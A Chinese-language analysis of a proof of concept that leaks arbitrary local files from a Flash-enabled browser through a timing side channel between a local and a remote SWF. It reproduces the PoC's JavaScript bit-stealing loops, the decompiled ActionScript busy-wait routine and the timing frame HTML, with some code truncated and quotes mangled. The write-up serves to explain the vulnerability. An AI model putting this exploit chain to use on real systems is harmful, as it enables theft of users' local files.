Flash文件在设计的时候就允许本地的swf文件读取任意的本地文件。Flash Player 版本不高于7时,本地 SWF 文件可与其它 SWF 文件交互并且可以从任何远程或本地位置加载数据。
在 Flash Player 8 和更高版本中,SWF 文件不能连接本地文件系统和 Internet。 但是通过时间旁路通道(timing side-channel),却可以实现提取任意本地文件的内容并传送到网络上(详细说明,可参见[1],[2])。
Google浏览器会阻止(应该是有提示吧)下载“.swf”后缀的文件,来降低对本地文件系统规则的攻击,但是却没有阻止swf文件以不同的文件后缀嵌入进去(poc中,是html和swf文件合并了,所以是嵌入html中[3])。当多个swf文件运行在同一个浏览器,但在不同的frame下,或者不同的tab下时,一次只有一个swf文件可以运行ActionScript脚本。
这也就意味着,本地的swf文件可以通过耗时的操作(如直接循环一个时间段等),使加载的网络上的swf文件的外部接口调用(ExternalInterface call)出现延迟。这样根据读取的本地文件的信息(如读取一个字节时,bit位为1出现延迟,bit位为0,不设置延迟),决定是否出现相应的延迟,网络上的swf文件检测这一延迟,即可获取到读取的文件信息。
本地html文件显然不能直接和网络上的swf文件进行交互,但是本地的html文件可以通过frame加载网络上的swf文件。
原作者提供的poc分析 ([4],[5]),打开后发现乱码,winhex一看,果断嵌入了swf文件(提供的poc代码中没有这个swf文件,如图1),偏移0xd65后的内容为html文件的内容:
0xD65后的内容极为html文件的内容。
/* check the response time of flash */ function ping(cb) { var l; window.addEventListener(,message,, l = function(e) { window.removeEventListener(,message,, l); //console.log(,got delay ,+e.data.delay) cb(e.data.delay); }); document.getElementById(,ifr,).contentWindow.postMessage(,ping,, ,*,); } /* steal one bit */ function getbit(path, char, mask, cb) { path = encodeURIComponent(path); document.getElementById(,div,).innerHTML = ,<embed type=application/x-shockwave-flash src=? flashvars="path=,+path+,&char=,+char+,&mask=,+mask+,">,; //这个地方应该就是[3]提及的那个bug,src换位本地的地址后,poc没能成功读取本地文件内容 //作者将本地的swf文件和html文件合并在一起了,path为文件路径 setTimeout(function() { ping(function(res) { setTimeout(function() { cb(res > 100);//根据延迟得到bit位的值 }, 500); }); }, 200); } /* steal one byte */ function getbyte(path, char, cb) { var byte = 0; var mask = 1; function getbyte_() { //console.log(,getbyte_ mask=,+mask) getbit(path, char, mask, function(is_set) { //根据mask的那一bit为1,决定读取char中的某一bit位 //console.log(,mask=,+mask+, set=,+is_set); if (is_set) byte |= mask; if (mask == 0x80) return cb(String.fromCharCode(byte)); mask <<= 1; getbyte_(); }); /* steal an entire file */ function run() { var path = document.getElementById(,path,).value; console.log(,path=,+path) var i = 0; var text = ,,; function run_() {//其实这里应该有个判断文件长度的,当然应该由swf文件把文件长度信息返回回来 getbyte(path, i, function(char) { console.log(,got char: ,+char) text += char; i++; document.getElementById(,out,).innerText = text; run_(); }); } run_(); }
从作者给的html文件中提前swf后反编译,反编译后在swf脚本下有class_writer这一项:
public static function completeHandler(arg1:flash.events.Event):void { var loc1:*=0; if ((Writer.loader.data.charCodeAt(Writer.char) & Writer.mask) != 0) {//该bit位为1则循环,因此会出现延迟 loc1 = flash.utils.getTimer() + 400; do { } while (flash.utils.getTimer() < loc1); } return; } public static function main():void { Writer.timer = new haxe.Timer(1); Writer.timer.run = function ():void { var loc1:*; var loc2:*=null; var loc3:*=undefined as null; var loc4:*=undefined as null; if (flash.Lib.current.stage != null) { false; } if (false) { Writer.timer.stop(); loc2 = flash.Lib.current.loaderInfo.parameters; Writer.path = loc2.path;//文件路径 Writer.char = Std.parseInt(loc2.char);//获取哪一字节的数据 Writer.mask = Std.parseInt(loc2.mask);//与之按位与,可确定获取的bit位的值 loc3 = new flash.net.URLRequest(Writer.path); Writer.loader = new flash.net.URLLoader(); Writer.loader.addEventListener(flash.events.Event.COMPLETE, Writer.completeHandler); } return; } return; }
Frame中嵌入的html文件的js代码:
<embed id=a src=ping.swf AllowScriptAccess=always> <script> window.addEventListener(,message,, function(e) { var t1 = Date.now(); document.getElementById(,a,).ping(); var t2 = Date.now(); parent.postMessage({delay:t2-t1}, ,*,);//计算网络上的swf文件相应的延迟 }); </script>